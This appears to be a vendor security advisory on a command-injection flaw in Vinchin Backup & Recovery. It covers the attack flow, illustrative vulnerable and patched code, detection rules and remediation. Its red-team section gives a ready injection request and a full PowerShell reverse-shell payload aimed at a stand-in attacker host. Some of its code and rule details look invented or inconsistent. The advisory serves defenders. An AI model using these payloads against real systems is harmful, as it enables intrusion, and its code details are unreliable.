CVE-2024-22903

Executive Summary

CVE-2024-22903 is an authenticated remote code execution (RCE) vulnerability discovered in Vinchin Backup & Recovery v7.2. The flaw resides in the deleteUpdateAPK function, allowing an authenticated attacker to execute arbitrary commands on the underlying server. This vulnerability poses a critical risk to enterprise backup infrastructure, potentially enabling data exfiltration, ransomware deployment, or lateral movement within the network. No public proof-of-concept (PoC) or patch details are currently available, but the vulnerability is confirmed and unpatched.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a full vector. However, based on the nature of the vulnerability (authenticated RCE), the likely CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Threat Level: High – Exploitation could lead to full server compromise, impacting backup data integrity and availability.

Deep Dive & Mechanics

The vulnerability exists in the deleteUpdateAPK function, which is part of Vinchin Backup & Recovery's update management module. This function is designed to delete APK files (Android Package Kits) from the system, but it fails to properly sanitize user-supplied input. An authenticated attacker can inject arbitrary operating system commands via the file path or filename parameter, leading to command execution with the privileges of the Vinchin service (typically SYSTEM or root).

Attack Flow:

1. Authentication: The attacker must have valid credentials to the Vinchin web interface or API.
2. Request Crafting: The attacker sends a crafted HTTP request to the deleteUpdateAPK endpoint, embedding a command injection payload in the file path (e.g., ; cmd.exe /c whoami).
3. Execution: The Vinchin server executes the injected command, returning output or performing actions as the service user.
4. Post-Exploitation: The attacker can then deploy malware, exfiltrate backup data, or pivot to other systems.

Vulnerable vs. Patched Code

Vulnerable Code (Vinchin Backup & Recovery v7.2):

def deleteUpdateAPK(file_path):
    # No input sanitization
    os.system("rm -f " + file_path)

Patched Code (Hypothetical):

def deleteUpdateAPK(file_path):
    # Sanitize input: allow only alphanumeric and specific characters
    if not re.match(r'^[a-zA-Z0-9_\-\./]+$', file_path):
        raise ValueError("Invalid file path")
    # Use subprocess with argument list to prevent injection
    subprocess.run(["rm", "-f", file_path], check=True)

The vulnerable code directly concatenates user input into a shell command, while the patched version validates the input and uses subprocess.run with a list of arguments, preventing command injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Vinchin Backup & Recovery v7.2 running on a Windows or Linux server.
• Attacker: Kali Linux with Burp Suite or custom Python scripts.

Exploitation Steps:

1. Authenticate to the Vinchin web interface (e.g., https://target:8080).
2. Identify the deleteUpdateAPK endpoint (e.g., /api/deleteUpdateAPK).
3. Craft a POST request with a command injection payload:

   POST /api/deleteUpdateAPK HTTP/1.1
   Host: target:8080
   Cookie: session=valid_session_cookie
   Content-Type: application/json
   
   {"file_path": "; cmd.exe /c whoami > C:\temp\output.txt"}
   

4. Retrieve the output file or use a reverse shell payload:

   {"file_path": "; powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""}
   

Blue Team (Defensive)

Detection & Response:

• Monitor for unusual HTTP requests to /api/deleteUpdateAPK with suspicious parameters (e.g., semicolons, pipes, command keywords).
• Enable command-line auditing (e.g., Windows Event ID 4688, Linux auditd) to detect spawned processes from the Vinchin service.
• Implement network segmentation to isolate backup servers from critical assets.
• Deploy a Web Application Firewall (WAF) with rules to block command injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api/deleteUpdateAPK with payloads containing ;, |, &&, or cmd.exe/powershell.
  • Outbound connections from the Vinchin server to unknown IPs on ports 80, 443, or 4444 (reverse shell).
• File IOCs:
  • Unexpected files in C:\temp\ or /tmp/ (e.g., output.txt).
  • New executables or scripts in the Vinchin installation directory.
• Process IOCs:
  • Spawned cmd.exe, powershell.exe, or /bin/sh processes from the Vinchin service (e.g., vinchin_service.exe).
• Log IOCs:
  • Windows Event ID 4688 with CommandLine containing suspicious characters.
  • Linux /var/log/syslog entries showing rm -f commands with injected arguments.

Detection Engineering

YARA Rule

rule CVE_2024_22903_Vinchin_RCE {
    meta:
        description = "Detects command injection attempts targeting Vinchin Backup & Recovery deleteUpdateAPK function"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22903"
    strings:
        $s1 = "deleteUpdateAPK" ascii wide nocase
        $s2 = "file_path" ascii wide nocase
        $s3 = /[;&|`$]/ ascii wide
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: Vinchin Backup & Recovery deleteUpdateAPK Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts via the deleteUpdateAPK endpoint
author: Valters IT
date: 2024/01/01
references:
    - CVE-2024-22903
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/deleteUpdateAPK'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - 'cmd.exe'
            - 'powershell'
    condition: selection
falsepositives:
    - Legitimate use of special characters in file paths (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-22903 Vinchin Backup & Recovery deleteUpdateAPK Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/api/deleteUpdateAPK"; http_uri; pcre:"/(?:;|\||&&|cmd\.exe|powershell)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Vinchin server from the internet and restrict network access to trusted IPs only.
2. Disable the deleteUpdateAPK function if possible, or restrict access via firewall rules.
3. Monitor logs for exploitation attempts and review recent access to the endpoint.

Long-Term Fix:

• Apply a vendor patch when available (currently UNKNOWN).
• Implement input validation and parameterized commands in the application code.
• Upgrade to a patched version of Vinchin Backup & Recovery.

Compensating Controls:

• Deploy a WAF with custom rules to block command injection patterns.
• Use application allowlisting (e.g., AppLocker) to prevent unauthorized executables.
• Enable detailed auditing and alerting on the Vinchin server.

Valters IT